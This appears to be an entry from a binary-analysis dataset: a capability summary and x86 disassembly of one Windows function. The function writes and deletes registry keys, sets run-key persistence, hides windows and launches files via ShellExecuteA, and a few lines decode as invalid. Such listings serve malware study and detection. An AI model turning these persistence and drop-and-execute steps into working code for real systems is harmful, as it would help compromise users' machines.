Function at 0x410f6c
Capabilities:
Check os version
Create directory
Create process on windows
Delete registry key
Get disk information
Hide graphical window
Persist via run registry key
Write and execute a file
Write file on windows

Disassembly:
push ebp
mov ebp, esp
mov ecx, 0x2d
push 0
push 0
dec ecx
jne 0x410f74
push ecx
push ebx
push esi
push edi
mov esi, 0x416adc
mov edi, 0x416b14
mov ebx, 0x416b4f
xor eax, eax
push ebp
push 0x41248f
push dword fs:[eax]
mov dword fs:[eax], esp
mov eax, edi
mov edx, 0x4124a8
call fcn.00403770
cmp byte [0x416b50], 0x66
jne 0x411000
mov eax, dword [0x4151fc]
push eax
push 0x400
lea eax, [ebp - 4]
push eax
mov ecx, 0x4124d4
mov edx, 0x4124e4
mov eax, 0x80000002
call fcn.00406770
mov edx, dword [ebp - 4]
mov eax, 0x416ae8
call fcn.00403770
cmp byte [0x416b4d], 0
jne 0x411000
push 0x2710
call sub.kernel32.dll_Sleep
mov eax, dword [0x416ae8]
call fcn.00406610
mov byte [ebx], al
push 0x4124e4
mov ecx, 0x4124d4
mov eax, 0x80000002
pop edx
call fcn.00406c38
lea eax, [ebp - 8]
call fcn.004064b4
mov edx, dword [ebp - 8]
mov eax, 0x416ad8
call fcn.00403770
lea eax, [ebp - 0xc]
call fcn.00406520
mov edx, dword [ebp - 0xc]
mov eax, esi
call fcn.00403770
mov eax, 0x416ae0
mov ecx, 0x41252c
mov edx, dword [esi]
call fcn.004038e0
mov eax, dword [0x416ae8]
call fcn.00403894
test eax, eax
jne 0x41106c
mov eax, 0x416ae8
mov ecx, 0x41253c
mov edx, dword [esi]
call fcn.004038e0
mov eax, 0x415130
mov ecx, dword [0x415130]
mov edx, dword [esi]
call fcn.004038e0
mov eax, 0x416ad0
mov ecx, 0x41254c
mov edx, dword [0x415130]
call fcn.004038e0
mov eax, 0x416ad4
mov ecx, 0x412560
mov edx, dword [0x415130]
call fcn.004038e0
xor eax, eax
mov dword [0x416b54], eax
call fcn.004135b4
mov eax, edi
mov edx, 0x412574
call fcn.00403770
cmp byte [0x416b4d], 0
je 0x4112f6
mov eax, 0x4125e0
call fcn.00405b98
push 0xbb8
call sub.kernel32.dll_Sleep
call fcn.00406690
lea eax, [ebp - 0x10]
mov ecx, 0x4125f8
mov edx, dword [esi]
call fcn.004038e0
mov eax, dword [ebp - 0x10]
call fcn.00405a4c
lea eax, [ebp - 0x14]
mov ecx, 0x41260c
mov edx, dword [esi]
call fcn.004038e0
mov eax, dword [ebp - 0x14]
call fcn.00405a4c
mov eax, dword [0x416ad0]
call fcn.00405a4c
mov ecx, 0x41253c
mov edx, 0x412620
mov eax, 0x80000002
call fcn.00406c38
mov ecx, 0x41253c
mov edx, 0x412658
mov eax, 0x80000002
call fcn.00406c38
mov ecx, 0x41253c
mov edx, 0x412698
mov eax, 0x80000001
call fcn.00406c38
mov edx, 0x412620
mov ecx, 0x4126e0
mov eax, 0x80000001
call fcn.00406c38
mov edx, 0x412698
mov ecx, 0x4126f0
mov eax, 0x80000002
call fcn.00406c38
lea eax, [ebp - 0x18]
mov ecx, 0x412700
mov edx, dword [esi]
call fcn.004038e0
mov eax, dword [ebp - 0x18]
call fcn.00405a4c
lea eax, [ebp - 0x1c]
mov ecx, 0x412714
mov edx, dword [esi]
call fcn.004038e0
mov eax, dword [ebp - 0x1c]
call fcn.00405a4c
lea eax, [ebp - 0x20]
mov ecx, 0x412728
mov edx, dword [esi]
call fcn.004038e0
mov eax, dword [ebp - 0x20]
call fcn.00405a4c
lea eax, [ebp - 0x24]
mov ecx, 0x41273c
mov edx, dword [esi]
call fcn.004038e0
mov eax, dword [ebp - 0x24]
call fcn.00405a4c
lea eax, [ebp - 0x28]
mov ecx, 0x412754
mov edx, dword [esi]
call fcn.004038e0
mov eax, dword [ebp - 0x28]
call fcn.00405a4c
lea eax, [ebp - 0x2c]
mov ecx, 0x412768
mov edx, dword [esi]
call fcn.004038e0
mov eax, dword [ebp - 0x2c]
call fcn.00405a4c
lea eax, [ebp - 0x30]
mov ecx, 0x41277c
mov edx, dword [esi]
call fcn.004038e0
mov eax, dword [ebp - 0x30]
call fcn.00405a4c
push 0x412788
push 0x80000002
call sub.advapi32.dll_RegDeleteKeyA
push 0x4127b4
push 0x80000002
call sub.advapi32.dll_RegDeleteKeyA
mov eax, 0x4127fc
call fcn.0040fa84
mov eax, 0x412808
call fcn.0040fa84
mov eax, 0x412814
call fcn.0040fa84
mov eax, edi
mov edx, 0x412574
call fcn.00403770
mov eax, dword [0x416ad4]
call fcn.00405a4c
push 0x200040
push 0x412818
push 0x412830
lea edx, [ebp - 0x38]
mov eax, 0x76
call fcn.00405350
push dword [ebp - 0x38]
push 0x412844
lea eax, [ebp - 0x34]
mov edx, 3
call fcn.00403954
mov eax, dword [ebp - 0x34]
call fcn.00403a94
push eax
push 0
call sub.user32.dll_MessageBoxA_1
push 1
push 0
push 0
mov ecx, 0x4125e0
lea eax, [ebp - 0x3c]
mov edx, dword [esi]
call fcn.004038e0
mov eax, dword [ebp - 0x3c]
call fcn.00403a94
push eax
push 0x41285c
push 0
call sub.shell32.dll_ShellExecuteA
call fcn.00405aa4
jmp 0x412471
push 0
mov eax, dword [0x415130]
call fcn.00403a94
push eax
call sub.kernel32.dll_CreateDirectoryA
call sub.kernel32.dll_GetVersion_1
and eax, 0xffff
and eax, 0xff
cmp ax, 5
setb byte [0x416b4c]
cmp byte [0x416b4c], 0
je 0x411330
call fcn.00405f7c
mov eax, edi
mov edx, 0x4128dc
call fcn.00403770
mov eax, dword [0x4151fc]
push eax
mov edx, 0x4124e4
mov ecx, 0x41294c
mov eax, 0x80000002
call fcn.004066bc
push eax
call fcn.004055a8
pop edx
sub eax, edx
cmp eax, 0x1e
jl 0x412471
lea edx, [ebp - 0x40]
mov eax, dword [0x416ae8]
call fcn.004055d8
mov edx, dword [ebp - 0x40]
mov eax, 0x416aec
call fcn.00403770
call fcn.0040278c
lea edx, [ebp - 0x44]
mov eax, 0x412958
call fcn.00406030
mov edx, dword [ebp - 0x44]
mov eax, 0x416b18
call fcn.00403770
mov eax, 0x416ae4
mov edx, 0x412988
call fcn.00403770
lea eax, [ebp - 0x4c]
mov ecx, dword [0x416ae4]
mov edx, 0x4129a4
call fcn.004038e0
mov eax, dword [ebp - 0x4c]
lea edx, [ebp - 0x48]
call fcn.00406030
mov edx, dword [ebp - 0x48]
mov eax, 0x416b1c
call fcn.00403770
push 1
push 0x96
push 0x222e1
mov ecx, 0x412700
lea eax, [ebp - 0x50]
mov edx, dword [esi]
call fcn.004038e0
mov edx, dword [ebp - 0x50]
mov cl, 1
mov eax, dword [0x416ae8]
call fcn.0040579c
mov byte [ebx], al
mov ecx, 0x412700
lea eax, [ebp - 0x54]
mov edx, dword [esi]
call fcn.004038e0
mov eax, dword [ebp - 0x54]
call fcn.00406610
mov byte [ebx], al
mov eax, edi
mov edx, 0x4129b8
call fcn.00403770
mov eax, dword [0x4151fc]
push eax
mov edx, 0x4124e4
mov ecx, 0x412a2c
mov eax, 0x80000002
call fcn.004066bc
mov dword [0x416b44], eax
cmp dword [0x416b44], 0x76
jge 0x411519
cmp byte [ebx], 0
jne 0x4114b1
mov ecx, 0x412700
lea eax, [ebp - 0x58]
mov edx, dword [esi]
call fcn.004038e0
mov edx, dword [ebp - 0x58]
mov eax, dword [0x416ae8]
call fcn.004039e0
je 0x4114b1
mov eax, 0x412700
call fcn.00405b98
push 1
push 0x96
push 0x222e1
mov ecx, 0x412700
lea eax, [ebp - 0x5c]
mov edx, dword [esi]
call fcn.004038e0
mov edx, dword [ebp - 0x5c]
mov cl, 1
mov eax, dword [0x416ae8]
call fcn.0040579c
mov byte [ebx], al
mov eax, edi
mov edx, 0x412a3c
call fcn.00403770
cmp byte [ebx], 0
je 0x411519
push 0x76
mov ecx, 0x412a2c
mov edx, 0x4124e4
mov eax, 0x80000002
call fcn.00406934
mov byte [ebx], al
push 0x412aa4
lea edx, [ebp - 0x64]
mov eax, 0x76
call fcn.00405350
push dword [ebp - 0x64]
push 0x412ab8
lea edx, [ebp - 0x68]
mov eax, dword [0x416b44]
call fcn.00405350
push dword [ebp - 0x68]
lea eax, [ebp - 0x60]
mov edx, 4
call fcn.00403954
mov eax, dword [ebp - 0x60]
call fcn.0041367c
mov eax, edi
mov edx, 0x412ac8
call fcn.00403770
call fcn.004070f0
push 1
push 0x96
push 0x222e1
mov ecx, 0x412714
lea eax, [ebp - 0x6c]
mov edx, dword [esi]
call fcn.004038e0
mov edx, dword [ebp - 0x6c]
xor ecx, ecx
mov eax, dword [0x416ae8]
call fcn.0040579c
mov byte [ebx], al
mov ecx, 0x412714
lea eax, [ebp - 0x70]
mov edx, dword [esi]
call fcn.004038e0
mov eax, dword [ebp - 0x70]
call fcn.00406610
mov byte [ebx], al
push 1
push 0x96
push 0x222e1
mov ecx, 0x412728
lea eax, [ebp - 0x74]
mov edx, dword [esi]
call fcn.004038e0
mov edx, dword [ebp - 0x74]
xor ecx, ecx
mov eax, dword [0x416ae8]
call fcn.0040579c
mov byte [ebx], al
mov ecx, 0x412728
lea eax, [ebp - 0x78]
mov edx, dword [esi]
call fcn.004038e0
mov eax, dword [ebp - 0x78]
call fcn.00406610
mov byte [ebx], al
mov ecx, 0x412768
lea eax, [ebp - 0x7c]
mov edx, dword [esi]
call fcn.004038e0
mov eax, dword [ebp - 0x7c]
call fcn.00405830
test al, al
jne 0x411655
push 1
push 0
push 0x222e1
mov ecx, 0x412768
lea eax, [ebp - 0x80]
mov edx, dword [esi]
call fcn.004038e0
mov eax, dword [ebp - 0x80]
push eax
mov ecx, 0x41273c
lea eax, [ebp - 0x84]
mov edx, dword [esi]
call fcn.004038e0
mov eax, dword [ebp - 0x84]
xor ecx, ecx
pop edx
call fcn.0040579c
mov byte [ebx], al
push 1
push 0
push 0x222e1
mov ecx, 0x41277c
lea eax, [ebp - 0x88]
mov edx, dword [esi]
call fcn.004038e0
mov eax, dword [ebp - 0x88]
push eax
mov ecx, 0x412754
lea eax, [ebp - 0x8c]
mov edx, dword [esi]
call fcn.004038e0
mov eax, dword [ebp - 0x8c]
xor ecx, ecx
pop edx
call fcn.0040579c
mov byte [ebx], al
mov ecx, 0x41273c
lea eax, [ebp - 0x90]
mov edx, dword [esi]
call fcn.004038e0
mov eax, dword [ebp - 0x90]
call fcn.00405830
test al, al
jne 0x411702
invalid
push 1
push 0
push 0x222e1
mov ecx, 0x41273c
lea eax, [ebp - 0x94]
mov edx, dword [esi]
call fcn.004038e0
mov eax, dword [ebp - 0x94]
push eax
mov ecx, 0x412768
lea eax, [ebp - 0x98]
mov edx, dword [esi]
call fcn.004038e0
mov eax, dword [ebp - 0x98]
xor ecx, ecx
pop edx
call fcn.0040579c
mov byte [ebx], al
push 1
push 0
push 0x222e1
mov ecx, 0x412754
lea eax, [ebp - 0x9c]
mov edx, dword [esi]
call fcn.004038e0
mov eax, dword [ebp - 0x9c]
push eax
mov ecx, 0x41277c
lea eax, [ebp - 0xa0]
mov edx, dword [esi]
call fcn.004038e0
mov eax, dword [ebp - 0xa0]
xor ecx, ecx
pop edx
call fcn.0040579c
mov byte [ebx], al
mov eax, dword [0x416ae8]
call fcn.00406610
mov byte [ebx], al
mov ecx, 0x41273c
lea eax, [ebp - 0xa4]
mov edx, dword [esi]
call fcn.004038e0
mov eax, dword [ebp - 0xa4]
call fcn.00406610
mov byte [ebx], al
mov ecx, 0x412754
lea eax, [ebp - 0xa8]
mov edx, dword [esi]
call fcn.004038e0
mov eax, dword [ebp - 0xa8]
call fcn.00406610
mov byte [ebx], al
mov ecx, 0x412768
lea eax, [ebp - 0xac]
mov edx, dword [esi]
call fcn.004038e0
mov eax, dword [ebp - 0xac]
call fcn.00406610
mov byte [ebx], al
mov ecx, 0x41277c
lea eax, [ebp - 0xb0]
mov edx, dword [esi]
call fcn.004038e0
mov eax, dword [ebp - 0xb0]
call fcn.00406610
mov byte [ebx], al
mov eax, edi
mov edx, 0x412b34
invalid
invalid